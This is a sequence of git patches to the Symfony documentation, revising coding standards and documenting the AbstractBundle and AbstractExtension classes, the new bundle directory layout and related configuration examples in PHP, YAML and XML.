---
 contributing/code/standards.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index dff71281348..a5449363769 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -180,7 +180,10 @@ Structure
   to increase readability;
 
 * Declare all the arguments on the same line as the method/function name, no
-  matter how many arguments there are;
+  matter how many arguments there are (with exception of `constructor property promotion`_);
+
+* When using `constructor property promotion`_ put each parameter on a new line with
+  `trailing comma`_;
 
 * Use parentheses when instantiating classes regardless of the number of
   arguments the constructor has;
@@ -299,3 +302,5 @@ License
 .. _`camelCase`: https://en.wikipedia.org/wiki/Camel_case
 .. _`UpperCamelCase`: https://en.wikipedia.org/wiki/Camel_case
 .. _`snake_case`: https://en.wikipedia.org/wiki/Snake_case
+.. _`constructor property promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion
+.. _`trailing comma`: https://wiki.php.net/rfc/trailing_comma_in_parameter_list

From da27090b76291c79dc4a7defaf0404511b06370e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 21 May 2022 13:03:19 +0200
Subject: [PATCH 3257/7107] Minor tweak

---
 contributing/code/standards.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index a5449363769..5709a5184a6 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -180,10 +180,9 @@ Structure
   to increase readability;
 
 * Declare all the arguments on the same line as the method/function name, no
-  matter how many arguments there are (with exception of `constructor property promotion`_);
-
-* When using `constructor property promotion`_ put each parameter on a new line with
-  `trailing comma`_;
+  matter how many arguments there are. The only exception are constructor methods
+  using `constructor property promotion`_, where each parameter must be on a new
+  line with `trailing comma`_;
 
 * Use parentheses when instantiating classes regardless of the number of
   arguments the constructor has;

From 426e289ec2fb34315c231acea98ea2450ab7bd79 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Wed, 11 May 2022 22:48:26 -0400
Subject: [PATCH 3258/7107] Documenting Abstract Bundle and Extension

---
 bundles.rst                          |  53 +++++++++-----
 bundles/configuration.rst            |  51 ++++++++++++++
 bundles/extension.rst                |  41 +++++++++++
 bundles/override.rst                 |  18 ++---
 bundles/prepend_extension.rst        |  41 +++++++++++
 configuration/micro_kernel_trait.rst | 101 ++++++++++++++++++++++-----
 6 files changed, 261 insertions(+), 44 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index ed194614c34..2c4b20fa694 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -48,18 +48,24 @@ The new bundle is called AcmeTestBundle, where the ``Acme`` portion is an exampl
 name that should be replaced by some "vendor" name that represents you or your
 organization (e.g. ABCTestBundle for some company named ``ABC``).
 
-Start by creating a ``src/Acme/TestBundle/`` directory and adding a new file
+Start by creating a ``Acme/TestBundle/src/`` directory and adding a new file
 called ``AcmeTestBundle.php``::
 
-    // src/Acme/TestBundle/AcmeTestBundle.php
-    namespace App\Acme\TestBundle;
+    // Acme/TestBundle/src/AcmeTestBundle.php
+    namespace Acme\TestBundle;
 
-    use Symfony\Component\HttpKernel\Bundle\Bundle;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
-    class AcmeTestBundle extends Bundle
+    class AcmeTestBundle extends AbstractBundle
     {
     }
 
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` was introduced in Symfony 6.1. If your bundle must be compatible
+    with previous Symfony versions you have to extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`
+    instead.
+
 .. tip::
 
     The name AcmeTestBundle follows the standard
@@ -67,14 +73,27 @@ called ``AcmeTestBundle.php``::
     also choose to shorten the name of the bundle to simply TestBundle by naming
     this class TestBundle (and naming the file ``TestBundle.php``).
 
-This empty class is the only piece you need to create the new bundle. Though
+It's recommended to place your bundle class in the ``src/`` directory and keep out all the
+configuration files, templates, translations, etc. By default, Symfony determines the bundle path from the
+directory where the bundle class is placed, so you have to define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle::getPath`
+method to tell Symfony what is the root directory of your bundle path::
+
+    class AcmeTestBundle extends AbstractBundle
+    {
+        public function getPath(): string
+        {
+            return \dirname(__DIR__);
+        }
+    }
+
+This almost empty class is the only piece you need to create the new bundle. Though
 commonly empty, this class is powerful and can be used to customize the behavior
 of the bundle. Now that you've created the bundle, enable it::
 
     // config/bundles.php
     return [
         // ...
-        App\Acme\TestBundle\AcmeTestBundle::class => ['all' => true],
+        Acme\TestBundle\AcmeTestBundle::class => ['all' => true],
     ];
 
 And while it doesn't do anything yet, AcmeTestBundle is now ready to be used.
@@ -86,26 +105,24 @@ The directory structure of a bundle is meant to help to keep code consistent
 between all Symfony bundles. It follows a set of conventions, but is flexible
 to be adjusted if needed:
 
-``Controller/``
+``src/Controller/``
     Contains the controllers of the bundle (e.g. ``RandomController.php``).
 
-``DependencyInjection/``
-    Holds certain Dependency Injection Extension classes, which may import service
-    configuration, register compiler passes or more (this directory is not
-    necessary).
-
-``Resources/config/``
+``config/``
     Houses configuration, including routing configuration (e.g. ``routing.yaml``).
 
-``Resources/views/``
-    Holds templates organized by controller name (e.g. ``Random/index.html.twig``).
+``templates/``
+    Holds templates organized by controller name (e.g. ``random/index.html.twig``).
+
+``translations/``
+    Holds translations organized by domain and locale (e.g. ``AcmeTestBundle.en.xlf``).
 
-``Resources/public/``
+``public/``
     Contains web assets (images, stylesheets, etc) and is copied or symbolically
     linked into the project ``public/`` directory via the ``assets:install`` console
     command.
 
-``Tests/``
+``tests/``
     Holds all tests for the bundle.
 
 A bundle can be as small or large as the feature it implements. It contains
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 1742457fb36..3df59c8b032 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -431,6 +431,57 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
         <!-- ... -->
     </container>
 
+Defining Configuration directly in your Bundle class
+----------------------------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+
+As another option, you can define the extension configuration directly in your Bundle
+class by implementing :class:`Symfony\\Component\\Config\\Definition\\ConfigurableInterface`,
+which is already supported when your bundle extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`::
+
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeFooBundle extends AbstractBundle
+    {
+        public function configure(DefinitionConfigurator $definition): void
+        {
+            // loads config definition from a file
+            $definition->import('../config/definition.php');
+
+            // loads config definition from multiple files (when it's too long you can split it)
+            $definition->import('../config/definition/*.php');
+
+            // if the configuration is short, consider adding it in this class
+            $definition->rootNode()
+                ->children()
+                    ->scalarNode('foo')->defaultValue('bar')->end()
+                ->end()
+            ;
+        }
+    }
+
+This method is a shortcut of the previous "Extension", "Configuration" and "TreeBuilder" convention,
+where you also have the possibility to import configuration definition from an external file::
+
+    // Acme/FooBundle/config/definition.php
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+
+    return static function (DefinitionConfigurator $definition) {
+        $definition->rootNode()
+            ->children()
+                ->scalarNode('foo')->defaultValue('bar')->end()
+            ->end()
+        ;
+    };
+
+.. note::
+
+    The "configure()" method is called only at compiler time.
+
 .. _`FrameworkBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php
 .. _`TwigBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/TwigBundle/DependencyInjection/Configuration.php
 .. _`XML namespace`: https://en.wikipedia.org/wiki/XML_namespace
diff --git a/bundles/extension.rst b/bundles/extension.rst
index bbbfd398018..b8bccea6ca8 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -147,3 +147,44 @@ the full classmap executing the ``dump-autoload`` command of Composer.
     This technique can't be used when the classes to compile use the ``__DIR__``
     or ``__FILE__`` constants, because their values will change when loading
     these classes from the ``classes.php`` file.
+
+Loading Services directly in your Bundle class
+----------------------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+
+Alternatively, you can define and load services configuration directly in a bundle class
+by extending from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension` method::
+
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+    class AcmeFooBundle extends AbstractBundle
+    {
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            $container->parameters()
+                ->set('foo', $config['foo']);
+
+            $container->import('../config/services.php');
+
+            if ('bar' === $config['foo']) {
+                $container->services()
+                    ->set(Parser::class);
+            }
+        }
+    }
+
+This method is a shortcut of the previous "load()" method, but with more options
+to define and import the service configuration with less effort. The ``$config``
+argument is the previous ``$configs`` array but already merged and processed. And
+through the ``$container`` configurator you can import the services configuration
+from an external file in any supported format (php, yaml, xml) or simply define
+them in place using the fluent interfaces.
+
+.. note::
+
+    The "loadExtension()" like "load()" method is called only at compiler time.
diff --git a/bundles/override.rst b/bundles/override.rst
index bf53eb5ce3c..71bbe40ac7f 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -12,7 +12,7 @@ features of a bundle.
 
     The bundle overriding mechanism means that you cannot use physical paths to
     refer to bundle's resources (e.g. ``__DIR__/config/services.xml``). Always
-    use logical paths in your bundles (e.g. ``@FooBundle/Resources/config/services.xml``)
+    use logical paths in your bundles (e.g. ``@FooBundle/config/services.xml``)
     and call the :ref:`locateResource() method <http-kernel-resource-locator>`
     to turn them into physical paths when needed.
 
@@ -23,12 +23,12 @@ Templates
 
 Third-party bundle templates can be overridden in the
 ``<your-project>/templates/bundles/<bundle-name>/`` directory. The new templates
-must use the same name and path (relative to ``<bundle>/Resources/views/``) as
+must use the same name and path (relative to ``<bundle>/templates/``) as
 the original templates.
 
-For example, to override the ``Resources/views/Registration/confirmed.html.twig``
-template from the FOSUserBundle, create this template:
-``<your-project>/templates/bundles/FOSUserBundle/Registration/confirmed.html.twig``
+For example, to override the ``templates/registration/confirmed.html.twig``
+template from the AcmeUserBundle, create this template:
+``<your-project>/templates/bundles/AcmeUserBundle/registration/confirmed.html.twig``
 
 .. caution::
 
@@ -43,9 +43,9 @@ extend from the original template, not from the overridden one:
 
 .. code-block:: twig
 
-    {# templates/bundles/FOSUserBundle/Registration/confirmed.html.twig #}
+    {# templates/bundles/AcmeUserBundle/registration/confirmed.html.twig #}
     {# the special '!' prefix avoids errors when extending from an overridden template #}
-    {% extends "@!FOSUser/Registration/confirmed.html.twig" %}
+    {% extends "@!AcmeUser/registration/confirmed.html.twig" %}
 
     {% block some_block %}
         ...
@@ -173,7 +173,7 @@ For this reason, you can override any bundle translation file from the main
 ``translations/`` directory, as long as the new file uses the same domain.
 
 For example, to override the translations defined in the
-``Resources/translations/FOSUserBundle.es.yml`` file of the FOSUserBundle,
-create a ``<your-project>/translations/FOSUserBundle.es.yml`` file.
+``translations/AcmeUserBundle.es.yaml`` file of the AcmeUserBundle,
+create a ``<your-project>/translations/AcmeUserBundle.es.yaml`` file.
 
 .. _`the Doctrine documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/inheritance-mapping.html#overrides
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index c23f9133ff4..848ef700267 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -157,3 +157,44 @@ More than one Bundle using PrependExtensionInterface
 If there is more than one bundle that prepends the same extension and defines
 the same key, the bundle that is registered **first** will take priority:
 next bundles won't override this specific config setting.
+
+Prepending Extension directly in your Bundle class
+--------------------------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+
+By preference, you can append or prepend extension configuration directly in your Bundle
+class for any bundle by extending from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension` method::
+
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+    class FooBundle extends AbstractBundle
+    {
+        public function prependExtension(ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // prepend
+            $builder->prependExtensionConfig('framework', [
+                'cache' => ['prefix_seed' => 'foo/bar'],
+            ]);
+
+            // append
+            $container->extension('framework', [
+                'cache' => ['prefix_seed' => 'foo/bar'],
+            ])
+
+            // append from file
+            $container->import('../config/packages/cache.php');
+        }
+    }
+
+This method is a shortcut of the previous "PrependExtensionInterface::prepend" method,
+allowing you also to import and append extension config from an external file in one of
+the supported formats (php, yaml, xml).
+
+.. note::
+
+    The "prependExtension()" like "prepend()" method is called only at compiler time.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 6a2c6a6375a..7466cfb0b22 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -99,8 +99,8 @@ that define your bundles, your services and your routes:
     ``RoutingConfigurator`` has methods that make adding routes in PHP more
     fun. You can also load external routing files (shown below).
 
-Advanced Example: Twig, Annotations and the Web Debug Toolbar
--------------------------------------------------------------
+Advanced Example: Configuration, Twig, Annotations and the Web Debug Toolbar
+----------------------------------------------------------------------------
 
 The purpose of the ``MicroKernelTrait`` is *not* to have a single-file application.
 Instead, its goal to give you the power to choose your bundles and structure.
@@ -123,13 +123,15 @@ your ``composer.json`` file to load from there:
 
 Then, run ``composer dump-autoload`` to dump your new autoload config.
 
-Now, suppose you want to use Twig and load routes via annotations. Instead of
-putting *everything* in ``index.php``, create a new ``src/Kernel.php`` to
-hold the kernel. Now it looks like this::
+Now, suppose you want to define a custom configuration for your app,
+use Twig and load routes via annotations. Instead of putting *everything*
+in ``index.php``, create a new ``src/Kernel.php`` to hold the kernel.
+Now it looks like this::
 
     // src/Kernel.php
     namespace App;
 
+    use App\DependencyInjection\AppExtension;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
@@ -146,16 +148,22 @@ hold the kernel. Now it looks like this::
                 new \Symfony\Bundle\TwigBundle\TwigBundle(),
             ];
 
-            if ($this->getEnvironment() == 'dev') {
+            if ('dev' === $this->getEnvironment()) {
                 $bundles[] = new \Symfony\Bundle\WebProfilerBundle\WebProfilerBundle();
             }
 
             return $bundles;
         }
 
+        protected function build(ContainerBuilder $container)
+        {
+            $container->registerExtension(new AppExtension());
+        }
+
         protected function configureContainer(ContainerConfigurator $c): void
         {
             $c->import(__DIR__.'/../config/framework.yaml');
+            $c->import(__DIR__.'/../config/web_profiler.yaml');
 
             // register all classes in /src/ as service
             $c->services()
@@ -163,14 +171,6 @@ hold the kernel. Now it looks like this::
                 ->autowire()
                 ->autoconfigure()
             ;
-
-            // configure WebProfilerBundle only if the bundle is enabled
-            if (isset($this->bundles['WebProfilerBundle'])) {
-                $c->extension('web_profiler', [
-                    'toolbar' => true,
-                    'intercept_redirects' => false,
-                ]);
-            }
         }
 
         protected function configureRoutes(RoutingConfigurator $routes): void
@@ -205,6 +205,35 @@ Before continuing, run this command to add support for the new dependencies:
 
     $ composer require symfony/yaml symfony/twig-bundle symfony/web-profiler-bundle doctrine/annotations
 
+Next, create a new extension class that defines your app configuration and
+add a service conditionally based on the ``foo`` value::
+
+    // src/DependencyInjection/AppExtension.php
+    namespace App\DependencyInjection;
+
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Extension\AbstractExtension;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+    class AppExtension extends AbstractExtension
+    {
+        public function configure(DefinitionConfigurator $definition): void
+        {
+            $definition->rootNode()
+                ->children()
+                    ->booleanNode('foo')->defaultTrue()->end()
+                ->end();
+        }
+
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            if ($config['foo']) {
+                $container->set('foo_service', new stdClass());
+            }
+        }
+    }
+
 Unlike the previous kernel, this loads an external ``config/framework.yaml`` file,
 because the configuration started to get bigger:
 
@@ -245,6 +274,46 @@ because the configuration started to get bigger:
             ;
         };
 
+As well as the ``config/web_profiler.yaml`` file:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/web_profiler.yaml
+        when@dev:
+            web_profiler:
+                toolbar: true
+                intercept_redirects: false
+
+    .. code-block:: xml
+
+        <!-- config/web_profiler.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- WebProfilerBundle is enabled only in the "dev" environment -->
+            <when env="dev">
+                <web-profiler:config toolbar="true" intercept-redirects="false"/>
+            </when>
+        </container>
+
+    .. code-block:: php
+
+        // config/web_profiler.php
+        use Symfony\Config\WebProfilerConfig;
+
+        return static function (WebProfilerConfig $webProfiler) {
+            $webProfiler
+                ->toolbar(true)
+                ->interceptRedirects(false)
+            ;
+        };
+
 This also loads annotation routes from an ``src/Controller/`` directory, which
 has one file in it::
 
@@ -257,9 +326,7 @@ has one file in it::
 
     class MicroController extends AbstractController
     {
-        /**
-         * @Route("/random/{limit}")
-         */
+        #[Route('/random/{limit}')]
         public function randomNumber(int $limit): Response
         {
             $number = random_int(0, $limit);

From c93db0b280b50279ef94c03ed6ac6734862760c6 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sat, 14 May 2022 08:39:06 -0400
Subject: [PATCH 3259/7107] Jules' review

---
 bundles/configuration.rst            |  4 +-
 bundles/extension.rst                |  2 +-
 bundles/prepend_extension.rst        |  2 +-
 configuration/micro_kernel_trait.rst | 55 +++++++---------------------
 4 files changed, 17 insertions(+), 46 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 3df59c8b032..eda734f2020 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -465,7 +465,7 @@ which is already supported when your bundle extend from the :class:`Symfony\\Com
     }
 
 This method is a shortcut of the previous "Extension", "Configuration" and "TreeBuilder" convention,
-where you also have the possibility to import configuration definition from an external file::
+now you also have the possibility to import configuration definition from an external file::
 
     // Acme/FooBundle/config/definition.php
     use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
@@ -480,7 +480,7 @@ where you also have the possibility to import configuration definition from an e
 
 .. note::
 
-    The "configure()" method is called only at compiler time.
+    The "configure()" method is called only at compile time.
 
 .. _`FrameworkBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php
 .. _`TwigBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/TwigBundle/DependencyInjection/Configuration.php
diff --git a/bundles/extension.rst b/bundles/extension.rst
index b8bccea6ca8..ca88860bbe0 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -187,4 +187,4 @@ them in place using the fluent interfaces.
 
 .. note::
 
-    The "loadExtension()" like "load()" method is called only at compiler time.
+    The "loadExtension()", as the "load()" method, are called only at compile time.
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 848ef700267..479e7d22b08 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -197,4 +197,4 @@ the supported formats (php, yaml, xml).
 
 .. note::
 
-    The "prependExtension()" like "prepend()" method is called only at compiler time.
+    The "prependExtension()" like "prepend()" method is called only at compile time.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 7466cfb0b22..edb1f7426df 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -163,7 +163,6 @@ Now it looks like this::
         protected function configureContainer(ContainerConfigurator $c): void
         {
             $c->import(__DIR__.'/../config/framework.yaml');
-            $c->import(__DIR__.'/../config/web_profiler.yaml');
 
             // register all classes in /src/ as service
             $c->services()
@@ -171,6 +170,14 @@ Now it looks like this::
                 ->autowire()
                 ->autoconfigure()
             ;
+
+            // configure WebProfilerBundle only if the bundle is enabled
+            if (isset($this->bundles['WebProfilerBundle'])) {
+                $c->extension('web_profiler', [
+                    'toolbar' => true,
+                    'intercept_redirects' => false,
+                ]);
+            }
         }
 
         protected function configureRoutes(RoutingConfigurator $routes): void
@@ -229,11 +236,15 @@ add a service conditionally based on the ``foo`` value::
         public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
         {
             if ($config['foo']) {
-                $container->set('foo_service', new stdClass());
+                $container->set('foo_service', new \stdClass());
             }
         }
     }
 
+.. versionadded:: 6.1
+
+    The ``AbstractExtension`` class is introduced in Symfony 6.1.
+
 Unlike the previous kernel, this loads an external ``config/framework.yaml`` file,
 because the configuration started to get bigger:
 
@@ -274,46 +285,6 @@ because the configuration started to get bigger:
             ;
         };
 
-As well as the ``config/web_profiler.yaml`` file:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/web_profiler.yaml
-        when@dev:
-            web_profiler:
-                toolbar: true
-                intercept_redirects: false
-
-    .. code-block:: xml
-
-        <!-- config/web_profiler.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <!-- WebProfilerBundle is enabled only in the "dev" environment -->
-            <when env="dev">
-                <web-profiler:config toolbar="true" intercept-redirects="false"/>
-            </when>
-        </container>
-
-    .. code-block:: php
-
-        // config/web_profiler.php
-        use Symfony\Config\WebProfilerConfig;
-
-        return static function (WebProfilerConfig $webProfiler) {
-            $webProfiler
-                ->toolbar(true)
-                ->interceptRedirects(false)
-            ;
-        };
-
 This also loads annotation routes from an ``src/Controller/`` directory, which
 has one file in it::
 

From c2c47a21f63b2a5e387f7ca17e4920d8d164750e Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 15 May 2022 14:30:55 -0400
Subject: [PATCH 3260/7107] Update bundle.rst

---
 bundles.rst | 26 +++++++++++++++++++++++---
 1 file changed, 23 insertions(+), 3 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index 2c4b20fa694..d1e526228e8 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -82,7 +82,7 @@ method to tell Symfony what is the root directory of your bundle path::
     {
         public function getPath(): string
         {
-            return \dirname(__DIR__);
+            return \dirname(__DIR__); // returns /path/to/Acme/TestBundle/
         }
     }
 
@@ -105,8 +105,8 @@ The directory structure of a bundle is meant to help to keep code consistent
 between all Symfony bundles. It follows a set of conventions, but is flexible
 to be adjusted if needed:
 
-``src/Controller/``
-    Contains the controllers of the bundle (e.g. ``RandomController.php``).
+``src/``
+    Contains mainly PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
 
 ``config/``
     Houses configuration, including routing configuration (e.g. ``routing.yaml``).
@@ -125,6 +125,25 @@ to be adjusted if needed:
 ``tests/``
     Holds all tests for the bundle.
 
+It's recommended to use the `PSR-4`_ autoload standard: use the namespace as key,
+and the location of the bundle's main class (relative to ``composer.json``)
+as value. As the main class is located in the ``src/`` directory of the bundle:
+
+.. code-block:: json
+
+    {
+        "autoload": {
+            "psr-4": {
+                "Acme\\TestBundle\\": "src/"
+            }
+        },
+        "autoload-dev": {
+            "psr-4": {
+                "Acme\\TestBundle\\Tests\\": "tests/"
+            }
+        }
+    }
+
 A bundle can be as small or large as the feature it implements. It contains
 only the files you need and nothing else.
 
@@ -143,3 +162,4 @@ Learn more
 * :doc:`/bundles/prepend_extension`
 
 .. _`third-party bundles`: https://github.com/search?q=topic%3Asymfony-bundle&type=Repositories
+.. _`PSR-4`: https://www.php-fig.org/psr/psr-4/

From d0cba728ea1aae3302192c3f487ca90f42e37d99 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sat, 21 May 2022 10:15:27 -0400
Subject: [PATCH 3261/7107] Remove note after update the feature

---
 bundles.rst | 15 +--------------
 1 file changed, 1 insertion(+), 14 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index d1e526228e8..44731e47582 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -73,20 +73,7 @@ called ``AcmeTestBundle.php``::
     also choose to shorten the name of the bundle to simply TestBundle by naming
     this class TestBundle (and naming the file ``TestBundle.php``).
 
-It's recommended to place your bundle class in the ``src/`` directory and keep out all the
-configuration files, templates, translations, etc. By default, Symfony determines the bundle path from the
-directory where the bundle class is placed, so you have to define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle::getPath`
-method to tell Symfony what is the root directory of your bundle path::
-
-    class AcmeTestBundle extends AbstractBundle
-    {
-        public function getPath(): string
-        {
-            return \dirname(__DIR__); // returns /path/to/Acme/TestBundle/
-        }
-    }
-
-This almost empty class is the only piece you need to create the new bundle. Though
+This empty class is the only piece you need to create the new bundle. Though
 commonly empty, this class is powerful and can be used to customize the behavior
 of the bundle. Now that you've created the bundle, enable it::
 

From 7cf9bf42a0f27f574cc723e0e178fea44531b589 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sat, 21 May 2022 10:54:48 -0400
Subject: [PATCH 3262/7107] Add warning

---
 bundles.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index 44731e47582..2b0f224129b 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -62,9 +62,12 @@ called ``AcmeTestBundle.php``::
 
 .. versionadded:: 6.1
 
-    The ``AbstractBundle`` was introduced in Symfony 6.1. If your bundle must be compatible
-    with previous Symfony versions you have to extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`
-    instead.
+    The ``AbstractBundle`` was introduced in Symfony 6.1.
+
+.. warning::
+
+    If your bundle must be compatible with previous Symfony versions you have to
+    extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead.
 
 .. tip::
 

From 558b02eee1988a2cdb28f0236c43b7c3e9795a25 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 22 May 2022 14:29:34 +0200
Subject: [PATCH 3263/7107] Rewrite the bundle docs a bit more

---
 bundles.rst                          |  67 ++++++++------
 bundles/configuration.rst            | 133 +++++++++++++++++----------
 bundles/extension.rst                |  94 ++++++++++---------
 bundles/prepend_extension.rst        |  32 +++----
 configuration/micro_kernel_trait.rst |   4 +-
 5 files changed, 191 insertions(+), 139 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index 2b0f224129b..81c21260032 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -46,12 +46,11 @@ Creating a Bundle
 This section creates and enables a new bundle to show there are only a few steps required.
 The new bundle is called AcmeTestBundle, where the ``Acme`` portion is an example
 name that should be replaced by some "vendor" name that represents you or your
-organization (e.g. ABCTestBundle for some company named ``ABC``).
+organization (e.g. AbcTestBundle for some company named ``Abc``).
 
-Start by creating a ``Acme/TestBundle/src/`` directory and adding a new file
-called ``AcmeTestBundle.php``::
+Start by adding creating a new class called ``AcmeTestBundle``::
 
-    // Acme/TestBundle/src/AcmeTestBundle.php
+    // src/AcmeTestBundle.php
     namespace Acme\TestBundle;
 
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
@@ -62,9 +61,10 @@ called ``AcmeTestBundle.php``::
 
 .. versionadded:: 6.1
 
-    The ``AbstractBundle`` was introduced in Symfony 6.1.
+    The :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` was
+    introduced in Symfony 6.1.
 
-.. warning::
+.. caution::
 
     If your bundle must be compatible with previous Symfony versions you have to
     extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead.
@@ -96,7 +96,7 @@ between all Symfony bundles. It follows a set of conventions, but is flexible
 to be adjusted if needed:
 
 ``src/``
-    Contains mainly PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
+    Contains all PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
 
 ``config/``
     Houses configuration, including routing configuration (e.g. ``routing.yaml``).
@@ -115,32 +115,44 @@ to be adjusted if needed:
 ``tests/``
     Holds all tests for the bundle.
 
-It's recommended to use the `PSR-4`_ autoload standard: use the namespace as key,
-and the location of the bundle's main class (relative to ``composer.json``)
-as value. As the main class is located in the ``src/`` directory of the bundle:
+.. caution::
 
-.. code-block:: json
+    The recommended bundle structure was changed in Symfony 5, read the
+    `Symfony 4.4 bundle documentation`_ for information about the old
+    structure.
 
